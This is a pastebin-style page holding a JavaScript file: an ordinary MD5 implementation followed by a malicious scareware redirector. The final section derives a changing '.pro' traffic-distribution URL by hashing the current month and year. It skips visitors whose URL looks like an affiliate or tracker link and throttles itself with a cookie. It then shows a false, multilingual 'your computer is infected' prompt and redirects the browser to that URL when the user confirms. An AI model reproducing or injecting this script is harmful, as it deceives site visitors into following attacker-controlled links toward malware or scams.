SHOW:
|
|
- or go back to the newest paste.
1 | function md5cycle(x, k) { | |
2 | var a = x[0], b = x[1], c = x[2], d = x[3]; | |
3 | ||
4 | a = ff(a, b, c, d, k[0], 7, -680876936); | |
5 | d = ff(d, a, b, c, k[1], 12, -389564586); | |
6 | c = ff(c, d, a, b, k[2], 17, 606105819); | |
7 | b = ff(b, c, d, a, k[3], 22, -1044525330); | |
8 | a = ff(a, b, c, d, k[4], 7, -176418897); | |
9 | d = ff(d, a, b, c, k[5], 12, 1200080426); | |
10 | c = ff(c, d, a, b, k[6], 17, -1473231341); | |
11 | b = ff(b, c, d, a, k[7], 22, -45705983); | |
12 | a = ff(a, b, c, d, k[8], 7, 1770035416); | |
13 | d = ff(d, a, b, c, k[9], 12, -1958414417); | |
14 | c = ff(c, d, a, b, k[10], 17, -42063); | |
15 | b = ff(b, c, d, a, k[11], 22, -1990404162); | |
16 | a = ff(a, b, c, d, k[12], 7, 1804603682); | |
17 | d = ff(d, a, b, c, k[13], 12, -40341101); | |
18 | c = ff(c, d, a, b, k[14], 17, -1502002290); | |
19 | b = ff(b, c, d, a, k[15], 22, 1236535329); | |
20 | ||
21 | a = gg(a, b, c, d, k[1], 5, -165796510); | |
22 | d = gg(d, a, b, c, k[6], 9, -1069501632); | |
23 | c = gg(c, d, a, b, k[11], 14, 643717713); | |
24 | b = gg(b, c, d, a, k[0], 20, -373897302); | |
25 | a = gg(a, b, c, d, k[5], 5, -701558691); | |
26 | d = gg(d, a, b, c, k[10], 9, 38016083); | |
27 | c = gg(c, d, a, b, k[15], 14, -660478335); | |
28 | b = gg(b, c, d, a, k[4], 20, -405537848); | |
29 | a = gg(a, b, c, d, k[9], 5, 568446438); | |
30 | d = gg(d, a, b, c, k[14], 9, -1019803690); | |
31 | c = gg(c, d, a, b, k[3], 14, -187363961); | |
32 | b = gg(b, c, d, a, k[8], 20, 1163531501); | |
33 | a = gg(a, b, c, d, k[13], 5, -1444681467); | |
34 | d = gg(d, a, b, c, k[2], 9, -51403784); | |
35 | c = gg(c, d, a, b, k[7], 14, 1735328473); | |
36 | b = gg(b, c, d, a, k[12], 20, -1926607734); | |
37 | ||
38 | a = hh(a, b, c, d, k[5], 4, -378558); | |
39 | d = hh(d, a, b, c, k[8], 11, -2022574463); | |
40 | c = hh(c, d, a, b, k[11], 16, 1839030562); | |
41 | b = hh(b, c, d, a, k[14], 23, -35309556); | |
42 | a = hh(a, b, c, d, k[1], 4, -1530992060); | |
43 | d = hh(d, a, b, c, k[4], 11, 1272893353); | |
44 | c = hh(c, d, a, b, k[7], 16, -155497632); | |
45 | b = hh(b, c, d, a, k[10], 23, -1094730640); | |
46 | a = hh(a, b, c, d, k[13], 4, 681279174); | |
47 | d = hh(d, a, b, c, k[0], 11, -358537222); | |
48 | c = hh(c, d, a, b, k[3], 16, -722521979); | |
49 | b = hh(b, c, d, a, k[6], 23, 76029189); | |
50 | a = hh(a, b, c, d, k[9], 4, -640364487); | |
51 | d = hh(d, a, b, c, k[12], 11, -421815835); | |
52 | c = hh(c, d, a, b, k[15], 16, 530742520); | |
53 | b = hh(b, c, d, a, k[2], 23, -995338651); | |
54 | ||
55 | a = ii(a, b, c, d, k[0], 6, -198630844); | |
56 | d = ii(d, a, b, c, k[7], 10, 1126891415); | |
57 | c = ii(c, d, a, b, k[14], 15, -1416354905); | |
58 | b = ii(b, c, d, a, k[5], 21, -57434055); | |
59 | a = ii(a, b, c, d, k[12], 6, 1700485571); | |
60 | d = ii(d, a, b, c, k[3], 10, -1894986606); | |
61 | c = ii(c, d, a, b, k[10], 15, -1051523); | |
62 | b = ii(b, c, d, a, k[1], 21, -2054922799); | |
63 | a = ii(a, b, c, d, k[8], 6, 1873313359); | |
64 | d = ii(d, a, b, c, k[15], 10, -30611744); | |
65 | c = ii(c, d, a, b, k[6], 15, -1560198380); | |
66 | b = ii(b, c, d, a, k[13], 21, 1309151649); | |
67 | a = ii(a, b, c, d, k[4], 6, -145523070); | |
68 | d = ii(d, a, b, c, k[11], 10, -1120210379); | |
69 | c = ii(c, d, a, b, k[2], 15, 718787259); | |
70 | b = ii(b, c, d, a, k[9], 21, -343485551); | |
71 | ||
72 | x[0] = add32(a, x[0]); | |
73 | x[1] = add32(b, x[1]); | |
74 | x[2] = add32(c, x[2]); | |
75 | x[3] = add32(d, x[3]); | |
76 | ||
77 | } | |
78 | ||
79 | function cmn(q, a, b, x, s, t) { | |
80 | a = add32(add32(a, q), add32(x, t)); | |
81 | return add32((a << s) | (a >>> (32 - s)), b); | |
82 | } | |
83 | ||
84 | function ff(a, b, c, d, x, s, t) { | |
85 | return cmn((b & c) | ((~b) & d), a, b, x, s, t); | |
86 | } | |
87 | ||
88 | function gg(a, b, c, d, x, s, t) { | |
89 | return cmn((b & d) | (c & (~d)), a, b, x, s, t); | |
90 | } | |
91 | ||
92 | function hh(a, b, c, d, x, s, t) { | |
93 | return cmn(b ^ c ^ d, a, b, x, s, t); | |
94 | } | |
95 | ||
96 | function ii(a, b, c, d, x, s, t) { | |
97 | return cmn(c ^ (b | (~d)), a, b, x, s, t); | |
98 | } | |
99 | ||
100 | function md51(s) { | |
101 | txt = ''; | |
102 | var n = s.length, | |
103 | state = [1732584193, -271733879, -1732584194, 271733878], i; | |
104 | for (i=64; i<=s.length; i+=64) { | |
105 | md5cycle(state, md5blk(s.substring(i-64, i))); | |
106 | } | |
107 | s = s.substring(i-64); | |
108 | var tail = [0,0,0,0, 0,0,0,0, 0,0,0,0, 0,0,0,0]; | |
109 | for (i=0; i<s.length; i++) | |
110 | tail[i>>2] |= s.charCodeAt(i) << ((i%4) << 3); | |
111 | tail[i>>2] |= 0x80 << ((i%4) << 3); | |
112 | if (i > 55) { | |
113 | md5cycle(state, tail); | |
114 | for (i=0; i<16; i++) tail[i] = 0; | |
115 | } | |
116 | tail[14] = n*8; | |
117 | md5cycle(state, tail); | |
118 | return state; | |
119 | } | |
120 | ||
121 | /* there needs to be support for Unicode here, | |
122 | * unless we pretend that we can redefine the MD-5 | |
123 | * algorithm for multi-byte characters (perhaps | |
124 | * by adding every four 16-bit characters and | |
125 | * shortening the sum to 32 bits). Otherwise | |
126 | * I suggest performing MD-5 as if every character | |
127 | * was two bytes--e.g., 0040 0025 = @%--but then | |
128 | * how will an ordinary MD-5 sum be matched? | |
129 | * There is no way to standardize text to something | |
130 | * like UTF-8 before transformation; speed cost is | |
131 | * utterly prohibitive. The JavaScript standard | |
132 | * itself needs to look at this: it should start | |
133 | * providing access to strings as preformed UTF-8 | |
134 | * 8-bit unsigned value arrays. | |
135 | */ | |
136 | function md5blk(s) { /* I figured global was faster. */ | |
137 | var md5blks = [], i; /* Andy King said do it this way. */ | |
138 | for (i=0; i<64; i+=4) { | |
139 | md5blks[i>>2] = s.charCodeAt(i) | |
140 | + (s.charCodeAt(i+1) << 8) | |
141 | + (s.charCodeAt(i+2) << 16) | |
142 | + (s.charCodeAt(i+3) << 24); | |
143 | } | |
144 | return md5blks; | |
145 | } | |
146 | ||
147 | var hex_chr = '0123456789abcdef'.split(''); | |
148 | ||
149 | function rhex(n) | |
150 | { | |
151 | var s='', j=0; | |
152 | for(; j<4; j++) | |
153 | s += hex_chr[(n >> (j * 8 + 4)) & 0x0F] | |
154 | + hex_chr[(n >> (j * 8)) & 0x0F]; | |
155 | return s; | |
156 | } | |
157 | ||
158 | function hex(x) { | |
159 | for (var i=0; i<x.length; i++) | |
160 | x[i] = rhex(x[i]); | |
161 | return x.join(''); | |
162 | } | |
163 | ||
164 | function md5(s) { | |
165 | return hex(md51(s)); | |
166 | } | |
167 | ||
168 | /* this function is much faster, | |
169 | so if possible we use it. Some IEs | |
170 | are the only ones I know of that | |
171 | need the idiotic second function, | |
172 | generated by an if clause. */ | |
173 | ||
174 | function add32(a, b) { | |
175 | return (a + b) & 0xFFFFFFFF; | |
176 | } | |
177 | ||
178 | if (md5('hello') != '5d41402abc4b2a76b9719d911017c592') { | |
179 | function add32(x, y) { | |
180 | var lsw = (x & 0xFFFF) + (y & 0xFFFF), | |
181 | msw = (x >> 16) + (y >> 16) + (lsw >> 16); | |
182 | return (msw << 16) | (lsw & 0xFFFF); | |
183 | } | |
184 | } | |
185 | ||
186 | function getCookie(name) { | |
187 | var matches = document.cookie.match(new RegExp( | |
188 | "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" | |
189 | )); | |
190 | return matches ? decodeURIComponent(matches[1]) : undefined; | |
191 | } | |
192 | ||
193 | console.log(top.location.href); | |
194 | ||
195 | var is_keeper = top.location.href.indexOf("keeper") > -1 || top.location.href.indexOf("tds") > -1 || top.location.href.indexOf("mb") > -1 || top.location.href.indexOf("affid") > -1; | |
196 | ||
197 | console.log(is_keeper); | |
198 | ||
199 | var date = new Date; | |
200 | var current_time = date.getTime(); | |
201 | var cookie_time = getCookie('_alert'); | |
202 | var pause = current_time - cookie_time; | |
203 | ||
204 | console.log('current_time: ' + current_time); | |
205 | console.log('cookie_time: ' + cookie_time); | |
206 | console.log('current_time - cookie_time: ' + (current_time - cookie_time)); | |
207 | ||
208 | var day = date.getDate(); | |
209 | var month = date.getMonth() + 1; | |
210 | var year = date.getFullYear(); | |
211 | var d = month + '/' + year; | |
212 | var tds_url = 'http://' + md5(d) + '.pro/tds.php?subid=ce'; | |
213 | ||
214 | console.log(tds_url); | |
215 | ||
216 | date.setDate(date.getDate() + 1); | |
217 | document.cookie = "_alert=" + current_time + "; path=/; expires=" + date.toUTCString(); | |
218 | ||
219 | if (pause && pause > (60 * 60 * 1000) && !is_keeper) { | |
220 | ||
221 | var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage); | |
222 | if (lang) lang = lang.substring(0, 2); | |
223 | console.log('lang: ' + lang); | |
224 | ||
225 | var msg = 'Your computer is infected. You have to check it with antivirus.'; | |
226 | ||
227 | if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome."; | |
228 | if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome."; | |
229 | if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome."; | |
230 | if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware."; | |
231 | if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren."; | |
232 | if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода."; | |
233 | if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης."; | |
234 | ||
235 | if (confirm(msg)) { | |
236 | top.location.href = tds_url; | |
237 | } else { | |
238 | // window.top.location.href = 'https://browser-updates.info/s.html'; | |
239 | } | |
240 | } |